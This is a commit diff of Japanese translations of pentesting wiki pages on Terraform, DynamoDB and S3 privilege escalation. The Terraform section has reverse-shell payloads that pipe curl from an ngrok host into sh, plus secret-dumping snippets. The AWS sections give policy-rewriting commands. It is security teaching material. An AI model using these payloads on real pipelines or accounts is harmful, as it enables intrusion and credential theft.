Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

This commit is contained in:
Translator
2025-01-05 20:58:45 +00:00
parent c017bc8756
commit 6b153d797f
3 changed files with 45 additions and 42 deletions

View File

@@ -6,7 +6,7 @@
[ドキュメントから:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントを管理できるだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
#### Terraformはどのように機能しますか
@@ -24,27 +24,27 @@ Terraformのコアワークフローは、3つのステージで構成されて
![](<../images/image (215).png>)
### Terraformラボ
### Terraform Lab
コンピュータにterraformをインストールしてください。
に[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
ちらに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こちらにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
## TerraformにおけるRCE: 設定ファイルの毒盛り
Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、列挙することができません。したがって、Terraformを妥協させる唯一の方法は、**Terraform設定ファイルを追加/変更できること**または**Terraform状態ファイルを変更できること**です(下の章を参照)。
Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協させる唯一の方法は、**terraform設定ファイルを追加/変更できること**または**terraform状態ファイルを変更できること**です(下の章を参照)。
ただし、Terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つさまざまな場所にアクセスする必要があります。
しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つさまざまな場所にアクセスする必要があります。
攻撃者がTerraformが実行されているシステムを妥協させる主な方法は、**Terraform設定を保存るリポジトリを妥協させること**です。なぜなら、ある時点でそれらは**解釈される**からです。
攻撃者がterraformが実行されているシステムを妥協させる主な方法は、**terraform設定を保存しているリポジトリを妥協させること**です。なぜなら、ある時点でそれらは**解釈される**からです。
実際、**PR**が作成された後に**Terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります:
実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります:
{{#ref}}
atlantis-security.md
{{#endref}}
Terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。
terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。
### Terraform plan
@@ -54,7 +54,7 @@ Terraform planは、Terraformで**最も使用されるコマンド**であり
Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`external`データソースを使用して、`plan`中に任意のコードを実行できます。
Terraform設定ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
以下のようなものをterraform設定ファイルに注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -79,7 +79,7 @@ provider "evil" {}
例は[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)で見つけることができます。
**外部リファレンス使用する**
**外部リファレンス使用**
前述の2つのオプションは便利ですが、あまりステルス性がありません2つ目はよりステルス性がありますが、1つ目よりも複雑です。この攻撃を**よりステルスな方法**で実行することもできます。以下の提案に従ってください:
@@ -91,12 +91,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
あなたは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)でrev shellコードを見つけることができます。
- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコードを隠す**ことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`のように。
### Terraform Apply
Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\
`main.tf`ファイルにのようなペイロードが含まれていることを確認するだけです:
`main.tf`ファイルに以下のようなペイロードが含まれていることを確認するだけです
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
前の技術からの**提案に従って**、**外部参照を使用して**この攻撃を**よりステルス的に実行**します。
前の技術からの**提案に従って**、この攻撃を**外部参照を使用してよりステルス的に実行**します。
## Secrets Dumps
`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**することができます。terraformファイルに次のようなものを追加します:
`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**するには、terraformファイルに次のようなものを追加します:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -130,7 +130,7 @@ Terraformステートファイルに書き込みアクセスがあるが、Terra
[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことが可能で、悪意のあるプロバイダーに対してTerraformステートファイル内のプロバイダーの1つを置き換えるか、悪意のあるプロバイダーを参照する偽のリソースを追加することができます。
プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化します。偽のリソースを追加し、実行したい任意のbashコマンドを`command`属性に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`ステップの両方で読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。
プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化しています。偽のリソースを追加し、実行したい任意のbashコマンドを`command`属性に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`の両方のステップで読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。
直接使用するには、`resources`配列の任意の位置に以下を含め、`name`および`command`属性をカスタマイズしてください:
```json
@@ -219,11 +219,11 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。
**Checkov**は、インフラストラクチャをコードとして扱うIaCための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析SCAツールでもあります。
それは、[Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティコンプライアンスの誤設定を検出します。
それは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/)を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
それは、オープンソースパッケージと画像のための一般的な脆弱性と露出 (CVE) のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。
それは、一般的な脆弱性および露出CVEに対するオープンソースパッケージと画像のスキャンである[ソフトウェア構成分析SCAスキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)を実行します。
```bash
pip install checkov
checkov -d /path/to/folder
@@ -237,7 +237,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com
- **portable:** `pip`からインストールするか、`docker`経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/)を参照してください。
- **pre-deploy:** デプロイされる前にコードを検証します。
- **easy to integrate:** パイプラインまたはgitフックで実行して、すべてのデプロイが検証されることを保証できます。
- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。
- **segregation of duty:** テストを別のリポジトリに保管し、別のチームが責任を持つことができます。
> [!NOTE]
> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan`を実行してこのツールを使用することはできません。
@@ -267,7 +267,7 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
インフラストラクチャコードとして扱う開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
インフラストラクチャコード開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
**KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。
```bash
@@ -275,13 +275,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、のことができます。
From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことが可能です:
- インフラストラクチャコードとしてシームレスにスキャンし、誤設定を検出します。
- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを導入し、セキュアなポスチャーに戻すことを可能にします。
- インフラストラクチャコードシームレスにスキャンし、誤設定を検出します。
- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを引き起こす変更を検出し、安全なポスチャーに戻すことを可能にします。
- セキュリティの脆弱性やコンプライアンス違反を検出します。
- クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
- ローカルで実行する柔軟性やCI\CDと統合を提供します。
- ローカルで実行する柔軟性やCI\CDと統合することができます。
```bash
brew install terrascan
```
@@ -290,4 +290,7 @@ brew install terrascan
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/h
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -10,15 +10,15 @@ dynamodbに関する詳細情報は、以下を確認してください
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### `dynamodb:PutResourcePolicy` およびオプションで `dynamodb:GetResourcePolicy`
### `dynamodb:PutResourcePolicy` オプションで `dynamodb:GetResourcePolicy`
2024年3月以降、AWSはDynamoDBに対して*リソースベースのポリシー*を提供しています([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/))。
したがって、テーブルに対して `dynamodb:PutResourcePolicy` を持っている場合、自分自身または他の任意のプリンシパルにテーブルへの完全なアクセスを付与できます。
したがって、テーブルに対して`dynamodb:PutResourcePolicy`を持っている場合、テーブルへの完全なアクセス権を自分自身または他の任意のプリンシパルに付与できます。
`dynamodb:PutResourcePolicy` をランダムなプリンシパルに付与することは、管理者が `dynamodb:Put*` を付与することでプリンシパルがデータベースにアイテムを追加できるだけだと考える場合や、2024年3月以前にその権限セットを付与した場合に、しばしば偶然に発生します...
`dynamodb:PutResourcePolicy`をランダムなプリンシパルに付与することは、管理者が`dynamodb:Put*`を付与することでそのプリンシパルがデータベースにアイテムを追加できるだけだと考える場合や、2024年3月以前にその権限セットを付与した場合に、しばしば偶然に発生します...
理想的には、他の潜在的に重要な権限を上書きせず、必要な追加権限のみを注入するために、`dynamodb:GetResourcePolicy` も持っているべきです:
理想的には、他の潜在的に重要な権限を上書きせず、必要な追加権限のみを注入するために、`dynamodb:GetResourcePolicy`も持っているべきです:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
@@ -47,9 +47,9 @@ aws dynamodb get-resource-policy \
]
}
```
もしカスタマイズが必要な場合、すべての可能なDynamoDBアクションのリストは次のとおりです: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。また、リソースベースのポリシーを介して許可できるすべてのアクションのリスト *およびこれらのうちどれがクロスアカウントで使用できるか(データの流出を考えてください!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
もしカスタマイズが必要な場合、すべての可能なDynamoDBアクションのリストは次のとおりです: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。また、リソースベースのポリシーを介して許可されるすべてのアクションのリスト *およびこれらのうちどれがクロスアカウントで使用できるか(データの流出を考えてください!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
さて、ポリシードキュメント `policy.json` が準備できたので、リソースポリシーを設定します:
さて、ポリシードキュメント `policy.json` が準備できた、リソースポリシーを設定します:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
@@ -59,9 +59,9 @@ aws dynamodb put-resource-policy \
```
今、必要な権限を持っているはずです。
### ポストエクスプロイ
### ポストエクスプロイテーション
私の知る限り、AWSの`dynamodb`権限を持っているだけで権限を昇格させる直接的な方法は**他にありません**。テーブルから**機密情報**を**読み取る**ことができAWSの資格情報を含む可能性があります)、テーブルに**情報を書き込む**ことができ他の脆弱性を引き起こす可能性があります、例えばlambdaコードインジェクションなど...ますが、これらのオプションはすでに**DynamoDBポストエクスプロイページ**で考慮されています:
私の知る限り、AWSの`dynamodb`権限を持っているだけで権限を昇格させる直接的な方法は**他にありません**。テーブルから**機密情報**を**読み取る**ことができAWSの認証情報を含む可能性があります)、テーブルに**情報を書き込む**ことができますこれにより、lambdaコードインジェクションなどの他の脆弱性が引き起こされる可能性がありますが、これらのオプションはすでに**DynamoDBポストエクスプロイテーションページ**で考慮されています:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md

View File

@@ -8,7 +8,7 @@
興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースをハイジャックし、権限を昇格させることができるかもしれません。
例えば、**"cf-templates-nohnwfax6a6i-us-east-1"**というcloudformationバケットに対してこれらの権限を持つ攻撃者は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます:
例えば、"cf-templates-nohnwfax6a6i-us-east-1"というクラウドフォーメーションバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます:
```json
{
"Version": "2012-10-17",
@@ -43,19 +43,19 @@ Pacuモジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityL
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内および外部いくつかのサービス、**設定ファイル**を保存するためにS3ストレージを使用しています。\
これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内および外部いくつかのサービス、**設定ファイル**を保存するためにS3ストレージを使用します。\
それらに**読み取りアクセス**を持つ攻撃者は、**機密情報**を見つける可能性があります。\
それらに**書き込みアクセス**を持つ攻撃者は、**データを変更してサービスを悪用し、特権を昇格させようとする**ことができます。\
以下はそのいくつかの例です:
- EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行する**ことができます。
### `s3:PutObject`, `s3:GetObject` (オプション) terraformステートファイル上
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) ステートファイルがクラウドプロバイダーのブロブストレージに保存されることは非常に一般的です。例えば、AWS S3です。ステートファイルのファイルサフィックスは`.tfstate`であり、バケット名も通常、terraformステートファイルを含んでいることを示します。通常、すべてのAWSアカウントには、アカウントの状態を示すステートファイルを保存するためのそのようなバケットが1つあります。\
また、実際のアカウントでは、ほすべての開発者が`s3:*`を持ち、時にはビジネスユーザーでさえ`s3:Put*`を持っています。
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html)の状態ファイルがクラウドプロバイダーのブロブストレージに保存されることは非常に一般的です。例えば、AWS S3です。状態ファイルのファイルサフィックスは`.tfstate`であり、バケット名も通常、terraform状態ファイルを含んでいることを示します。通常、すべてのAWSアカウントには、アカウントの状態を示す状態ファイルを保存するためのそのようなバケットが1つあります。\
また、実際のアカウントでは、ほとんどすべての開発者が`s3:*`を持ち、時にはビジネスユーザーでさえ`s3:Put*`を持っています。
したがって、これらのファイルに対してリストされた権限を持っている場合、`terraform`の特権でパイプライン内でRCEを取得することを可能にする攻撃ベクターがあります - ほとんどの場合、`AdministratorAccess`であり、あなたをクラウドアカウントの管理者にます。また、そのベクターを使用して、`terraform`に正当なリソースを削除させることによってサービス拒否攻撃を行うこともできます。
したがって、これらのファイルに対してリストされた権限を持っている場合、`terraform`の特権でパイプライン内でRCEを取得することを可能にする攻撃ベクターがありますほとんどの場合、`AdministratorAccess`であり、クラウドアカウントの管理者になります。また、そのベクターを使用して、`terraform`に正当なリソースを削除させることによサービス拒否攻撃を行うこともできます。
直接使用可能なエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください:
@@ -65,7 +65,7 @@ terraform-security.md#abusing-terraform-state-files
### `s3:PutBucketPolicy`
攻撃者は、**同じアカウントからである必要があります**そうでない場合エラー`The specified method is not allowed will trigger`が発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。
攻撃者は、**同じアカウントからである必要があり**そうでない場合エラー`The specified method is not allowed will trigger`が発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
攻撃者はこれらの権限を悪用して、特定のバケットに対して**より多くのアクセスを付与する**ことができます。\
攻撃者は同じアカウントからである必要はありません。さらに、書き込みアクセス
攻撃者はこれらの権限を悪用して、特定のバケットに対する**より多くのアクセスを付与する**ことができます。\
攻撃者は同じアカウントからである必要はないことに注意してください。さらに、書き込みアクセス
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>